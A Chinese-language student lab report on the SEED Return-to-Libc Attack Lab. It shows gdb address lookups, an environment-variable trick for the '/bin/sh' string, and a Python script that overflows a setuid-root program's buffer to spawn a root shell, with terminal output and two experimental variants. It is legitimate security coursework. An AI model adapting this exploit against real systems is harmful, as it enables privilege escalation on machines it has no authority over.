

Lab3 实验报告

57119121 李津全

实验环境配置

首先我们需要关闭地址随机化:

```
seed@VM: ~/.../Labsetup
[07/22/21]seed@VM:~$ cd '/home/seed/Desktop/labs_20.04/Software Security/Return-to-Libc Attack Lab(32-bit)/Labsetup'
bash: cd: /home/seed/Desktop/labs_20.04/Software Security/Return-to-Libc Attack Lab(32-bit)/Labsetup: No such file or directory
[07/22/21]seed@VM:~$ cd /home/seed/Desktop/Labs_20.04/Software\ Security/Return-to-Libc\ Attack\ Lab\ \ (32-bit\)/Labsetup/
[07/22/21]seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space=0
kernel.randomize_va_space = 0
kernel.randomize_va_space = 0
[07/22/21]seed@VM:~/.../Labsetup$
```

输入 make 指令完成本实验的环境配置

```
seed@VM: ~/.../Labsetup
[07/22/21]seed@VM:~$ cd '/home/seed/Desktop/labs_20.04/Software Security/Return-to-Libc Attack Lab(32-bit)/Labsetup'
bash: cd: /home/seed/Desktop/labs_20.04/Software Security/Return-to-Libc Attack Lab(32-bit)/Labsetup: No such file or directory
[07/22/21]seed@VM:~$ cd /home/seed/Desktop/Labs_20.04/Software\ Security/Return-to-Libc\ Attack\ Lab\ \ (32-bit\)/Labsetup/
[07/22/21]seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space=0
kernel.randomize_va_space = 0
kernel.randomize_va_space = 0
[07/22/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
[07/22/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/22/21]seed@VM:~/.../Labsetup$
```

Task 1: Finding out the Addresses of libc Functions

在 Linux 中, 当程序运行时, libc 库将被加载到内存中。当内存地址随机化处于关闭状态时, 对于同一个程序, 库总是加载在同一个内存地址中 (对于不同的程序, libc 库的内存

地址可能不同)。因此,我们可以使用调试工具(如 gdb)轻松找到 system() 的地址。我们可以调试目标程序 retlib。在 gdb 中,我们需要键入 run 命令来执行目标程序,否则,库将被删除且不会加载代码。我们使用 p 命令打印出 system()函数和 exit()函数的地址。

```
seed@VM: ~/.../Labsetup
kernel.randomize_va_space = 0
[07/22/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
[07/22/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/22/21]seed@VM:~/.../Labsetup$ gdb retlib
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did yo

gdb-peda$ run
Starting program: /home/seed/Desktop/Labs_20.04/Software Security/Return-to-Libc Attack Lab (32-bit)/Labsetup/retlib

Program received signal SIGSEGV, Segmentation fault.
[-----registers-----]
---]
EAX: 0x3e8
EBX: 0x56558fc8 --> 0x3ed0
ECX: 0x5655a010 --> 0x0
EDX: 0x0
ESI: 0x0
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcce8 --> 0xffffd0f8 --> 0x0
ESP: 0xffffccc0 --> 0x56558fc8 --> 0x3ed0
EIP: 0xf7e3cbcd (<fread+45>: mov eax,DWORD PTR [esi])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction over
flow)
[-----code-----]
---]
0xf7e3cbc2 <fread+34>: mov    DWORD PTR [ebp-0x1c],eax
0xf7e3cbc5 <fread+37>: test   eax,eax
0xf7e3cbc7 <fread+39>: je     0xf7e3cc57 <fread+183>
=> 0xf7e3cbcd <fread+45>: mov    eax,DWORD PTR [esi]
```

```

seed@VM: ~/.../Labsetup
0xf7e3cbc2 <fread+34>:    mov     DWORD PTR [ebp-0x1c],eax
0xf7e3cbc5 <fread+37>:    test    eax,eax
0xf7e3cbc7 <fread+39>:    je      0xf7e3cc57 <fread+183>
=> 0xf7e3cbcd <fread+45>:    mov     eax,DWORD PTR [esi]
0xf7e3cbcf <fread+47>:    and     eax,0x8000
0xf7e3cbd4 <fread+52>:    jne     0xf7e3cc08 <fread+104>
0xf7e3cbd6 <fread+54>:    mov     edx,DWORD PTR [esi+0x48]
0xf7e3cbd9 <fread+57>:    mov     ebx,DWORD PTR gs:0x8
[-----stack-----]
---]
0000| 0xffffccc0 --> 0x56558fc8 --> 0x3ed0
0004| 0xffffccc4 --> 0xf7fb4000 --> 0x1e6d6c
0008| 0xffffccc8 --> 0xf7fb4000 --> 0x1e6d6c
0012| 0xffffcccc --> 0x3e8
0016| 0xffffccd0 --> 0x56557086 ("badfile")
0020| 0xffffccd4 --> 0x56557084 --> 0x61620072 ('r')
0024| 0xffffccd8 --> 0x1
0028| 0xffffccdc --> 0x56558fc8 --> 0x3ed0
[-----]
---]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xf7e3cbcd in fread () from /lib32/libc.so.6
gdb-peda$

```

Task 2: Putting the shell string in the memory

我们的攻击策略是跳转到 system()函数并让它执行任意命令。因为我们想得到一个 shell, 所以我们希望 system()函数执行"/bin/sh"程序。因此, 命令字符串"/bin/sh"必须首先放在内存中, 我们必须知道它的地址 (这个地址需要传递给 system()函数)。

有很多方法可以实现这个目标, 我们选择一个使用环境变量的方法。

当我们通过 shell 执行一个程序时, shell 实际上会产生一个子进程来执行, 所有导出的 shell 变量都成为子进程的环境变量。这为我们在子进程的内存中放入任意字符串提供了一个简单的思路。

我们定义一个新的 shell 变量 MY_SHELL, 并让它包含字符串"/bin/sh"。

将 MY_SHELL 的地址打印到屏幕上

```

#include <stdio.h>
#include <stdlib.h>

void main()
{
    char* shell = getenv("MY_SHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}

[07/22/21]seed@VM:~/.../Labsetup$ gcc -m32 prtenv.c -o prtenv
[07/22/21]seed@VM:~/.../Labsetup$ ./prtenv
ffffd426
[07/22/21]seed@VM:~/.../Labsetup$

```

Task 3: Launching the Attack

首先我们可以执行一下目标程序, 在屏幕上打印出 buffer 的起始地址以及 ebp 的值 (图 8)。设 address1=0xffffcd90, address2=0xffffcda8。

```
seed@VM: ~/.../Labsetup
gcc: error: print: No such file or directory
gcc: error: myshell.c: No such file or directory
gcc: fatal error: no input files
compilation terminated.
[07/22/21]seed@VM:~/.../Labsetup$ gcc -m32 prtenv.c -o prtenv
gcc: error: prtenv.c: No such file or directory
gcc: fatal error: no input files
compilation terminated.
[07/22/21]seed@VM:~/.../Labsetup$ export MYSHELL="/bin/sh"
[07/22/21]seed@VM:~/.../Labsetup$ gcc -m32 prtenv.c -o prtenv
gcc: error: prtenv.c: No such file or directory
gcc: fatal error: no input files
compilation terminated.
[07/22/21]seed@VM:~/.../Labsetup$ gcc -m32 prtenv.c -o prtenv
[07/22/21]seed@VM:~/.../Labsetup$ ./prtenv
ffffd426
[07/22/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/22/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcdc0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd90
Frame Pointer value inside bof(): 0xffffcda8
(^_^)(^_^) Returned Properly (^_^)(^_^)
[07/22/21]seed@VM:~/.../Labsetup$
```

其中, $Y = \text{address2} - \text{address1} + 4$ (return address 的偏移量), $Z = Y + 4$ (放置 `exit()` 地址的偏移量), $X = Z + 4$ (放置 `system()` 参数的地址的偏移量)。

```
1#!/usr/bin/env python3
2import sys
3
4# Fill content with non-zero values
5content = bytearray(0xaa for i in range(300))
6
7X = 36
8sh_addr = 0xffffd426 # The address of "/bin/sh"
9content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
10
11Y = 28
12system_addr = 0xf7e12420 # The address of system()
13content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
14
15Z = 32
16exit_addr = 0xf7e04f80 # The address of exit()
17content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
18
19# Save content to a file
20with open("badfile", "wb") as f:
21    f.write(content)
```

攻击效果

```
seed@VM: ~/.../Labsetup
[07/22/21]seed@VM:~/.../Labsetup$ gcc -m32 prtenv.c -o prtenv
[07/22/21]seed@VM:~/.../Labsetup$ ./prtenv
ffffd426
[07/22/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/22/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcdc0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd90
Frame Pointer value inside bof(): 0xffffcda8
(^_^)(^_^) Returned Properly (^_^)(^_^)
[07/22/21]seed@VM:~/.../Labsetup$ ./exploit_1.py
bash: ./exploit_1.py: No such file or directory
[07/22/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/22/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcdc0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd90
Frame Pointer value inside bof(): 0xffffcda8
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
[07/22/21]seed@VM:~/.../Labsetup$
```

攻击变体 1: exit 函数的必要性研究。尝试在攻击代码中不包含此函数的地址。再次发起攻击结果如图 11 所示。

可以看到，攻击仍能成功，退出时会有 Segmentation fault 提示。在执行过程中，return address 会直接指向 system 函数，函数的参数读取不会受 exit 函数地址的影响，因此攻击能够成功。

```
[07/22/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/22/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcdc0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd90
Frame Pointer value inside bof(): 0xffffcda8
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
Segmentation fault
[07/22/21]seed@VM:~/.../Labsetup$
```

攻击变体 2: 攻击成功后，将 retlib 的文件名改为其他名称，确保新文件名的长度不同。重复攻击（不更改 badfile 的内容），可以发现攻击失败（图 12）。

因为环境变量 MY_SHELL 的地址与可执行程序的文件名长度密切相关。我们使用 prtenv 程序得到了 MY_SHELL 的地址，当可执行程序的文件名（retlib）长度与 prtenv 一样时，MY_SHELL 的地址保持不变。如果可执行程序的文件名（newretlib）长度与 prtenv 不一致时，在执行 newretlib 时，环境变量中 MY_SHELL 的地址就会变化，导致攻击失败。

```
seed@VM: ~/.../Labsetup
Input size: 300
Address of buffer[] inside bof(): 0xffffcd90
Frame Pointer value inside bof(): 0xffffcda8
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
[07/22/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/22/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcdc0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd90
Frame Pointer value inside bof(): 0xffffcda8
Segmentation fault
[07/22/21]seed@VM:~/.../Labsetup$ cp ./retlib ./anewretlib
[07/22/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/22/21]seed@VM:~/.../Labsetup$ anewretlib
Address of input[] inside main(): 0xffffcdb0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd80
Frame Pointer value inside bof(): 0xffffcd98
Segmentation fault
[07/22/21]seed@VM:~/.../Labsetup$
```